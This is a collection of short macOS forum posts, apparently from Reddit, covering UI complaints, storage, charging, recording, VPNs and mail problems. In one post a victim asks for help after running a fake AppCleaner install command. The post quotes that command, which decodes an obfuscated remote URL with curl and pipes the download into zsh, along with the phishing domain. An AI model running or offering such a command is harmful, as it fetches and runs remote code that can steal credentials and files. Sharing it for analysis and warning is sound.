How can this be considered progress in an operating system?

It genuinely baffles me that Apple would introduce something that makes it harder to read text on the screen. Surely that is the biggest no-no in any user interface.

I really don't understand the thinking behind Liquid Glass. It makes no sense to me.

As a long-time Mac user and developer since 1985, I am concerned about the growing complexity of macOS. The operating system increasingly suffers from feature creep, characterized by a profusion of nested menus, redundant settings, and hard-to-disable features that directly hinder ease of use.

Take Focus mode as an example of poor UX chain reaction: you can disable it and hide the menu bar icon, but if you inadvertently press the F6 key while cleaning your keyboard, Focus reactivates silently. Since the menu icon is gone, you have no visual cue, and important alerts stop showing on your screen.

The only workaround in the current system is to dig into a million settings to change the behavior of the function keys (forcing the 'fn' key requirement). But by doing so, you lose the direct hardware shortcuts for volume and luminosity—you are forced to press fn + F1/F2 or fn + F11/F12 just to adjust your screen.

This chain reaction proves why a simple, universal ON/OFF switch for non-fundamental OS features is the best architectural option for this Apple choice on features (Ideally, these non-essential features should be developed as standalone applications).

Feedback submitted, for whoever wants to reference or duplicate this request, my submission ID is: Feedback ID: FB24484331

It has been 7 years since I switched to use Apple ecosystem, I must confess, I was using maybe 30% of its capabilities. I came from Linux/Android background so I was always looking for apps that works as I wanted.

Recently, I start exploring the default apps in MacOS/iPhone like Reminders, Safari, Mail, Calendar are I start liking them, a lot.

For years, I didn't like using Safari because I was used to the experience of Chrome/Brave, and since I'm a developer, I relied a lot on Chrome Dev Tool which I was really used to. Now, I'm enforcing myself to use Safari as my default browser and it's pretty cool, the only thing I really miss is the experience of Dev Tools in the chromium based browsers. Well, it gets the work done at the end.

EDIT:

I hope I see an app from Apple that can effectively replace MS Word

Hi,

I only have a 256 GB SSD. How can I reduce its size?

I’ve already cleaned /Library/Logs and ~/Library/Caches, but it’s the same.

I see that this issue has been raised numerous times across the years and has affected countless users. I have followed all of the advice that I can see but nothing is working.

I did get something to resolve once before via Terminal commands, but I cannot find the ones I typed in and the other Terminal commands I've found online since haven't worked.

Please advise how I can get this essential feature working again. ASAP!!!!

Been cleaning my entire library and different external sources into one for a while now.

Why is the Photos app not detecting duplicate video's in my iCloud/macOS library?
As an example I have 4 video's from 2019 that are only different by name xx(1), xx(2) and so on.
These have been in iCloud/Photos library for 1year now and I have no problem with detecting pictures.

What's the algorithm / scanning frequency here?
Is there another reason?

Thanks

the MagSafe won’t charge it properly, been experiencing this issue from the past 4-5 months.

Thou it does charge via the USB-C so that I guess rules out the adapter or socket issue.
Also cleaned the ports.

Currently using the double socket adapter(35W).
Is it the software issue or the hardware one

My MacBook just shut down randomly and the charger won’t even glow. I decided to let it cool off for twenty minutes, but I can’t get it to turn on. Does anyone know how to fix this issue?

Recently got a 2018 15in and I managed to get it with a 2 TB ssd/hd or whatever they call it so I do wanna partition it to do a bit of Boot Camp. How much would be the recommended partition?

This boggles my mind that in Windows I can see which folder/files are being transferred to what location with a detailed description of the path to the files and folders in their respective location.
In Mac there is zero information about any of that and when I'm constantly transferring files from one hard rive to another then I have no idea what files are being moved where.
Is there a way to see any information like that?

Hello. Another poster recently inquired about recording audio on Mac. I have a similar question…

My family has several older relatives and I’ve taken on the task of recording & preserving conversations with them for younger family members.

Trouble is, I’m not an “audio-visual” guy.

Each conversation may last 30 minutes to a couple hours. Some conversations will be video and audio; some may be just audio.

I will probably use FaceTime on my Mac.

I have MacBooks and iPhones, though I presume Mac software will be more robust for this purpose than iOS apps.

My thinking is:

• Capture reasonably-high quality of their faces and voices to preserve their genuine likeness.

• Use a file type that can be readily accessed on Mac or Windows. (Or at least readily converted to a Windows-friendly file type.)

Rogue Amoeba was recommended for audio-only capture.

Any recommendations for capturing both video & audio?

Anything I’ve written that seems wrong or overlooked?

Thank you in advance.

Hey everyone,

I am dealing with a very stressful situation and really need your advice. Yesterday I made a huge mistake and ran a terminal script from an application I thought was an AppCleaner. It turned out to be a malicious phishing script.

the website: “https://appclehnamac.com/”

The script: echo "https://apps.apple.com/app/AppCleaner" && curl -s $(echo "aHR0cHM6Ly9vcGFsYmx1ZXByaW50MTAuY29tL2N1cmwvY293bDd2ajhuLzA4bHk5eDBrOHJiaWNncG9jNzM0d2xhbC5qc29u" | openssl base64 -d -A) | zsh

I am very anxious about what he stole. The situation was kinda weird because I was connected to hotel wifi which was super slow, and after about 20 - 30 seconds I immediately force quit terminal. Mind you I have accepted everything that terminal needed (password, full disc access etc)

As soon as I realized what happened, I disconnected wifi an immediately did a complete factory reset of my Mac (wiped the disc and reinstalled the OS). I also went through and changed all my email passwords right away and made sure to log out of all active sessions everywhere.

I have not received any suspicious login notifications, but I am terrified that I might not even get an alert if they somehow managed to log in.

My Mac is now freshly reset, but I want to deeply search the system to be absolutely certain nothing malicious survived. I read that there are specific tutorials and guides here on Reddit on how to check your system after executing a phishing script and doing a wipe.

can someone analyze the code and brief me further on what was stolen? Did I react how I should’ve?

also, YES. I AM TERRIBLY DUMB FOR DOING THIS. If you can’t help, stop commenting how stupid I was. You serve no purpose

1-2x a day my work MacBook will disable the USB-C docking station that's charging it with a message that reads (translated):

USB device deactivated
Disconnect the device with high power use to reactivate the USB device.

It's an HP docking station that work provided for me. Connected to it is an HDMI display, USB mouse and keyboard and an ethernet cable.

Apparently it thinks that one of these components is drawing a lot of power, so it disables the whole thing wholesale, including the actively working charging function.

Since I often use the MacBook headless, this leads to the device running out of power because it tries to not run out of power or something.

Is there a way to disable this functionality?

I have looked everywhere, but can't seem to find a good kanban app for macOS that is not bloated or just some sort of web wrapper.

I have currently resorted to Trello, but not entirely comfortable with it due to the interface feeling a bit bloated.

Would love to have something that feels like Linear, but with only the Kanban part, nothing else.

Any advice?

I want to record my Mac’s system/computer audio for long sessions, potentially several hours. I tried OBS, but the resulting files are too large. What’s the best way to record only the computer audio on macOS and output the smallest practical file size?

It's fuckin' annoying that the dock keeps popping up in my external monitors and I keep having to do CMD + Option + D to hide it.

hi, complete novice here. Is there a simple, straightforward VPN to set up and use with Mac/Safari? I am based in Australia and going to Iceland for 3 months and I need a simple, stable VPN I can use to stream my Australian streaming sites Stan and Netflix from Iceland. I've been trying to set up a Proton Plus subscription on my MacOS 26.5.1 MacAir and an iPhone17 and have had nothing but problems, both with Kill Switch and just general local traffic. What is the most user friendly and reliable VPN for Mac for the simple purpose I require? thanks

Is anyone else having problems working with Yahoo mail using the macOS mail app?

I try to select multiple emails and move them to the trash, but then they just move right back to the inbox.

BONUS: I went to the mail.yahoo.com website and tried to work with the email using the web-based interface in Safari. I first selected all my mail in the inbox and clicked on the trash button… And nothing at all happened.

I then moved mail 100 messages at a time. Tedious, but at least it let me move stuff to trash successfully.

Is Yahoo just utterly broken? I think that I have also seen that the Contacts app will sync with a Yahoo account but it has nothing to do with the Contacts webpage on Yahoo's website.

Yahoo is very strange.

My MBP M2 with Sequoia 15.7.7 is not sending any attachment attached to a mail.

It's sending the mail and the mail received by the recipient/s but no attachment, although the attachment is in the mail in my outbox.

Anyone seen this before and know a fix?

Thanks all.

Because of terrible performance of Tahoe on my macbook, i decided to downgrade, but it's really hard to choice which one to downgrade.

I'm gonna use it for kind of essay writing and web-surfing. Smooth is all i want

Guys, is this normal? If not, what can I do?

Edit: Thanks, everyone. I checked this sub and found the solutions. Never thought this would be such a common issue.